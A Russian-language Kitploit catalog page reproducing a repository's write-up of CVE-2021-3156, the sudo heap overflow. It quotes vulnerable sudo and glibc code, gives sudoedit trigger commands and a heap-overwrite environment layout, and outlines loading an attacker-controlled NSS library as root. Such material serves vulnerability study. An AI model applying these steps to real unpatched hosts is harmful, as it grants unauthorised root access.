Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-3156 | Kitploit
Инструменты/GitHubGitHub/musergi/cve-2021-3156
Повышение привилегийАнализ уязвимостейЭксплуатацияСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubmusergi/cve-2021-3156

CVE-2021-3156

Репозиторий
24 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-3156

В этом документе мы собрали все знания, необходимые для понимания кода в этом репозитории и того, почему он работает. Все объяснения основаны на отчёте, созданном QUALYS. Там описаны и другие формы эксплуатации.

Требования

Уязвимые версии sudo — это устаревшие версии с 1.8.2 по 1.8.31p2 и все стабильные версии с 1.9.0 по 1.9.5p1 в их конфигурации по умолчанию.

Этот репозиторий протестирован на Ubuntu 20.04 (sudo 1.8.31). В нём мы открываем терминал с привилегиями root.

Анализ

Если Sudo выполняется для запуска команды в shell-режиме:

  • Через опцию -s, которая устанавливает флаг MODE_SHELL sudo.
  • Через опцию -i, которая устанавливает флаги MODE_SHELL и MODE_LOGIN_SHELL sudo.

Затем в начале main() программы sudo функция parse_args() переписывает argv, объединяя все аргументы командной строки и экранируя все мета-символы обратными слешами.

root@kitploit:~
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

Позже в sudoers_policy_main() функция set_cmnd() объединяет аргументы командной строки в буфер на основе кучи user_args и снимает экранирование мета-символов "для целей сопоставления и ведения журнала sudoers":

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

Если аргумент командной строки заканчивается одним обратным слешем, то:

  • from[0] — это обратный слеш, а from[1] — нулевой терминатор.
  • from инкрементируется и указывает на нулевой терминатор.
  • Нулевой терминатор копируется в буфер user_args, а from снова инкрементируется и указывает за границы буфера.
  • Цикл while читает и копирует символы, находящиеся за границами буфера, в user_args.

Иными словами, set_cmnd() уязвима к переполнению буфера в куче, поскольку символы за границами буфера, которые копируются в user_args, не были учтены в его размере.

Однако теоретически ни один аргумент командной строки не может заканчиваться одним обратным слешем: если установлен MODE_SHELL или MODE_LOGIN_SHELL (необходимое условие для достижения уязвимого кода), то установлен MODE_SHELL, и parse_args() уже экранировала все мета-символы, включая обратные слеши (т.е. каждый одиночный обратный слеш был экранирован вторым обратным слешем).

На практике, однако, уязвимый код в set_cmnd() и код экранирования в parse_args() окружены несколько разными условиями:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

versus:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

Итак, наш вопрос: можем ли мы установить MODE_SHELL и либо MODE_EDIT, либо MODE_CHECK (чтобы достичь уязвимого кода), но не MODE_RUN по умолчанию (чтобы избежать кода экранирования)?

Ответ, как кажется, отрицательный: если мы установим MODE_EDIT (опция -e) или MODE_CHECK (опция -l), то parse_args() удаляет MODE_SHELL из valid_flags и завершает работу с ошибкой, если мы указываем недопустимый флаг, такой как MODE_SHELL):

root@kitploit:~
                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

Но мы нашли лазейку: если выполнить Sudo как sudoedit вместо sudo, то parse_args() автоматически устанавливает MODE_EDIT, но не сбрасывает valid_flags, и valid_flags по умолчанию включают MODE_SHELL:

root@kitploit:~
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

Следовательно, если мы выполним "sudoedit -s", то установим и MODE_EDIT, и MODE_SHELL (но не MODE_RUN), избежим кода экранирования, достигнем уязвимого кода и переполним буфер user_args в куче с помощью аргумента командной строки, который заканчивается одним обратным слешем:

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

С точки зрения атакующего, это переполнение буфера идеально:

  • Мы контролируем размер переполняемого буфера user_args (размер наших объединённых аргументов командной строки);
  • Мы независимо контролируем размер и содержимое самого переполнения (за нашим последним аргументом командной строки удобно следуют наши первые переменные окружения, которые не включены в расчёт размера);
  • Мы даже можем записывать нулевые байты в переполняемый буфер (каждый аргумент командной строки или переменная окружения, заканчивающиеся одним обратным слешем, записывают нулевой байт в user_args).

Например, в Linux на amd64 следующая команда выделяет 24-байтовый буфер user_args (32-байтовый чанк кучи) и перезаписывает поле size следующего чанка значением "A=a\0B=b\0" (0x00623d4200613d41), его поле fd — значением "C=c\0D=d\0" (0x00643d4400633d43), а его поле bk — значением "E=e\0F=f\0" (0x00663d4600653d45):

root@kitploit:~
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
root@kitploit:~
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|AA=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

Эксплуатация

root@kitploit:~
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

Функция, в которой происходит сбой, — nss_load_library() из glibc (строка 344), потому что указатель library был перезаписан.

root@kitploit:~
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

Шаги эксплуатации этого сбоя следующие:

  • Перезаписать ni->library значением NULL. Это заставит код войти в ветвь if и начать разбор и загрузку библиотеки.
  • Перезаписать ni->name значением "X/X". Изначально там хранится "systemd".
  • Следовательно, строки __strcpy будут разбирать "libnss_X/X.so.2" вместо "libnss_systemd.so.2".
  • Таким образом, мы загружаем управляемую нами разделяемую библиотеку "libnss_X/X.so.2" от имени root. В ней мы можем делать всё, что пожелаем, от имени root.
Скачать инструмент